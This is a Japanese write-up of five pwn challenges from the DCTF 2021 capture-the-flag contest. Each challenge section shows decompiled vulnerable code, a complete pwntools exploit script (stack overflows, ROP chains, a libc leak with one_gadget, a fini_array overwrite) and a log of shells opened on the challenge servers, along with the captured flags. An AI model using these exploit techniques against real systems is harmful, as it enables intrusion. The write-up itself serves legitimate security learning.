dctf 2021 write up
ちょろっとだけやった。pwnのみ。
baby bof
バイナリとDockerfileが渡される。 題名通り、シンプルなバッファーオーバーフロー問題。 まずはchecksec
[*] '/home/test/dctf/pwn/baby_bof/baby_bof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
void vuln(void) { undefined *local_res0; char local_12 [10]; undefined *local_8; puts("plz don\'t rop me"); fgets(local_12,0x100,stdin); puts("i don\'t think this will work"); return; }
syscall gadgetがなくsystem関数もない。 よってlibcのleakが必要だと判断した。 また、rbxにセットできるgadgetも見つからずfgetsをropで呼ぶことができなかったので、 次のように方針を立てた。
- puts関数を用いてalarm関数のアドレスを求める。
- libcのアドレスを求め、onegadgetのアドレスを計算する。
- 上記vuln関数のfgets前に飛びputs関数のテーブルをonegadgetのアドレスに書き換える。
- puts関数でシェル起動
one_gadgetは次の通り。
0xe6c7e execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe6c81 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe6c84 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
fgets終了後rdxが0になっているのを利用して、2つ目のgadgetを使用することにした。
import pwn from pwn import * alarm_addr = 0x601020 #<alarm@GLIBC_2.2.5> fgets_addr = 0x004004c0 #<fgets@plt>: puts_addr = 0x004004a0 #<puts@plt> pop_rsi_r15 = 0x00400681 # pop rsi ; pop r15 ; ret ; (1 found) pop_rdi = 0x00400683 #: pop rdi ; ret ; (1 found) pop_rbp = 0x00400538 # : pop rbp ; ret ; (4 found) ret_gadget = 0x0040048e #: ret ; (12 found) rbp_addr = 0x601018 + 0xa libc_alarm_offset = 0x0000000000e5f10 #<alarm@@GLIBC_2.2.5>: one_gadget_offset = 0xe6c81 LOCAL = False if LOCAL: libc_alarm_offset = 0x0000000000de7a0 one_gadget_offset = 0xdf54f payload = b'A' * 0x12 # padding # set rbp payload += p64(pop_rbp) payload += p64(rbp_addr) # leak alarm address payload += p64(pop_rdi) payload += p64(alarm_addr) payload += p64(puts_addr) # set r15 to 0 payload += p64(pop_rsi_r15) payload += p64(0) payload += p64(0) # return to fgets payload += p64(0x04005cb) if LOCAL: io = pwn.process("baby_bof") gdb.attach(io) else: io = pwn.remote("dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481) print(io.readline()) io.sendline(payload) print(io.readline()) res = io.readline() print(res) print(res[:-1].ljust(8, b'\x00')) libc_alarm_addr = u64(res[:-1].ljust(8, b'\x00')) libc_base = libc_alarm_addr - libc_alarm_offset one_gadget_addr = one_gadget_offset + libc_base print(hex(libc_base)) print(hex(one_gadget_addr)) io.sendline(p64(one_gadget_addr).ljust(16, b'\x00')) io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/baby_bof$ python3 solv.py [+] Opening connection to dctf-chall-baby-bof.westeurope.azurecontainer.io on port 7481: Done b"plz don't rop me\n" b"i don't think this will work\n" b'\x10\x1f\x0f^\xce\x7f\n' b'\x10\x1f\x0f^\xce\x7f\x00\x00' 0x7fce5e00c000 0x7fce5e0f2c81 [*] Switching to interactive mode $ ls baby_bof flag.txt startService.sh $ cat flag.txt dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3} [*] Got EOF while reading in interactive $ $ [*] Closed connection to dctf-chall-baby-bof.westeurope.azurecontainer.io port 7481 test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/baby_bof$
FLAG: dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
pinch me
シンプルなバッファオーバーフロー問題2。
デコンパイル結果。
void vuln(void) { char local_28 [24]; puts("Is this a real life, or is it just a fanta sea?"); puts("Am I dreaming?"); fgets(local_28,100,stdin); if (true) { if (true) { puts("Pinch me!"); } else { puts("Pinch me harder!"); } } else { system("/bin/sh"); } return; }
system関数の前に戻してやれば良い。
import pwn ret_addr = 0x04011a1 #io = pwn.process("pinch_me") io = pwn.remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480) payload = b'' payload += b'A' * 0x28 payload += pwn.p64(ret_addr) #pwn.gdb.attach(io) io.readline() io.readline() io.sendline(payload) io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pinch_me$ cat log.txt test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pinch_me$ python3 solv.py [+] Opening connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io on port 7480: Done [*] Switching to interactive mode Pinch me harder! $ ls flag.txt pinch_me startService.sh $ cat flag.txt dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}$ $ [*] Closed connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io port 7480
FLAG: dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}
pwn sanity check
stackの変数を書き換えたらwin関数が走るよ問題。 デコンパイル結果。
void vuln(void) { char local_48 [60]; uint local_c; puts("tell me a joke"); fgets(local_48,0x100,stdin); if (local_c == 0xdeadc0de) { puts("very good, here is a shell for you. "); shell(); } else { puts("will this work?"); } return; }
import pwn ret_addr = 0x00400697 pop_rsi_r15 = 0x00400811 pop_rdi = 0x00400813 payload = b'' payload += b'A' * 60 payload += pwn.p32(0xdeadc0de) payload += b'A' * 8 payload += pwn.p64(pop_rsi_r15) payload += pwn.p64(0x1337c0de) payload += pwn.p64(0x1337c0de) payload += pwn.p64(pop_rdi) payload += pwn.p64(0xdeadbeef) payload += pwn.p64(ret_addr) #io = pwn.process("pwn_sanity_check") io = pwn.remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480) io.readline() io.sendline(payload) io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pwn_sanity_check$ python3 solv.py [+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done [*] Switching to interactive mode very good, here is a shell for you. spawning /bin/sh process wush! $> If this is not good enough, you will just have to try harder :) you made it to win land, no free handouts this time, try harder one down, one to go! 2/2 bro good job $ ls flag.txt pwn_sanity_check startService.sh $ cat flag.txt dctf{Ju5t_m0v3_0n} [*] Got EOF while reading in interactive $ $ [*] Closed connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io port 7480 [*] Got EOF while sending in interactive
FLAG: dctf{Ju5t_m0v3_0n}
hotel rop
ELFバイナリが渡される。
[*] '/home/test/dctf/pwn/hotel_rop/hotel_rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
バッファーオーバーフローが可能な関数とwin関数、"/bin/sh"を作ってくれる関数が2つ存在する。 デコンパイル結果は次のとおり。
void loss(uint param_1,uint param_2) { if (param_2 + param_1 == -0x21523f22) { puts("Dis is da wae to be one of our finest guests!"); if (param_1 == 0x1337c0de) { puts("Now you can replace our manager!"); system((char *)&win_land); /* WARNING: Subroutine does not return */ exit(0); } } return; } void california(void) { puts("Welcome to Hotel California"); puts("You can sign out anytime you want, but you can never leave"); *(undefined *)((long)&win_land + (long)len) = '/'; len = len + 1; *(undefined *)((long)&win_land + (long)len) = 'b'; len = len + 1; *(undefined *)((long)&win_land + (long)len) = 'i'; len = len + 1; *(undefined *)((long)&win_land + (long)len) = 'n'; len = len + 1; return; } void silicon_valley(void) { puts("You want to work for Google?"); *(undefined *)((long)&win_land + (long)len) = '/'; len = len + 1; *(undefined *)((long)&win_land + (long)len) = 's'; len = len + 1; *(undefined *)((long)&win_land + (long)len) = 'h'; len = len + 1; *(undefined *)((long)&win_land + (long)len) = 0; len = len + 1; return; } void vuln(void) { char local_28 [28]; int local_c; puts("You come here often?"); fgets(local_28,0x100,stdin); if (local_c == 0) { puts("Oh! You are already a regular visitor!"); } else { puts("I think you should come here more often."); } return; } undefined8 main(void) { alarm(10); printf("Welcome to Hotel ROP, on main street %p\n",main); vuln(); return 0; }
silicon_valley → california → loss の順で呼んでやれば良い。 PIEだがmain関数のアドレスを教えてくれるのでoffsetを用いて必要なアドレスを逆算する。
import pwn from pwn import * param1 = 0x1337c0de param2 = 0xdeadc0de - param1 main_func_offset = 0x000136d bin_func_offset = 0x00011dc sh_func_offset = 0x0001283 win_func_offset = 0x0001185 pop_rdi_offset = 0x0000140b #: pop rdi ; ret ; (1 found) pop_rsi_r15_offset = 0x00001409 #: pop rsi ; pop r15 ; ret ; (1 found) #io = pwn.process("hotel_rop") #gdb.attach(io) io = pwn.remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480) b = io.readline() print(b) start = len("Welcome to Hotel ROP, on main street ") main_addr = b[:-1][start:].decode() main_addr = int(main_addr, 16) print(hex(main_addr)) elf_base = main_addr - main_func_offset payload = b'A' * 0x28 # padding payload += p64(elf_base + bin_func_offset) payload += p64(elf_base + sh_func_offset) payload += p64(elf_base + pop_rdi_offset) payload += p64(param1) payload += p64(elf_base + pop_rsi_r15_offset) payload += p64(param2) payload += p64(param2) payload += p64(elf_base + win_func_offset) io.readline() io.sendline(payload) io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/hotel_rop$ python3 solv.py [+] Opening connection to dctf1-chall-hotel-rop.westeurope.azurecontainer.io on port 7480: Done b'Welcome to Hotel ROP, on main street 0x5568dbc6436d\n' 0x5568dbc6436d [*] Switching to interactive mode I think you should come here more often. Welcome to Hotel California You can sign out anytime you want, but you can never leave You want to work for Google? Dis is da wae to be one of our finest guests! Now you can replace our manager! $ ls flag.txt hotel_rop startService.sh $ cat flag.txt dctf{ch41n_0f_h0t3ls}$ $ [*] Closed connection to dctf1-chall-hotel-rop.westeurope.azurecontainer.io port 7480
FLAG: dctf{ch41n_0f_h0t3ls}
magic trick
好きなアドレスに好きな値を一度だけ書き込めるelfが渡される。 さらにwin関数が用意されてる。
void win(void) { puts("You are a real magician"); system("cat flag.txt"); /* WARNING: Subroutine does not return */ exit(1); } void magic(void) { long in_FS_OFFSET; undefined8 local_28; undefined8 *local_20; undefined8 *local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("What do you want to write"); __isoc99_scanf("%llu",&local_28); puts("Where do you want to write it"); __isoc99_scanf("%llu",&local_20); puts("thanks"); local_18 = local_20; *local_20 = local_28; if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } undefined8 main(void) { alarm(10); puts("How about a magic trick?"); puts(""); magic(); return 0; }
この手の問題は次のように解く。
- 任意アドレス書き換え可能
- win関数がある
- fini_arrayがある
上記条件が成立するときwin関数のアドレスをfini_arrayに書き込めば良い。
fini_array = 0x000000000600a00 win_addr = 0x000000000400667 print(win_addr) print(fini_array)
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/magic_trick$ python3 solv.py | nc dctf-chall-magic-trick.westeurope.azurecontainer.io 7481 How about a magic trick? What do you want to write Where do you want to write it thanks You are a real magician dctf{1_L1k3_M4G1c}
PIEではなかったのでアドレス直書き。
FLAG: dctf{1_L1k3_M4G1c}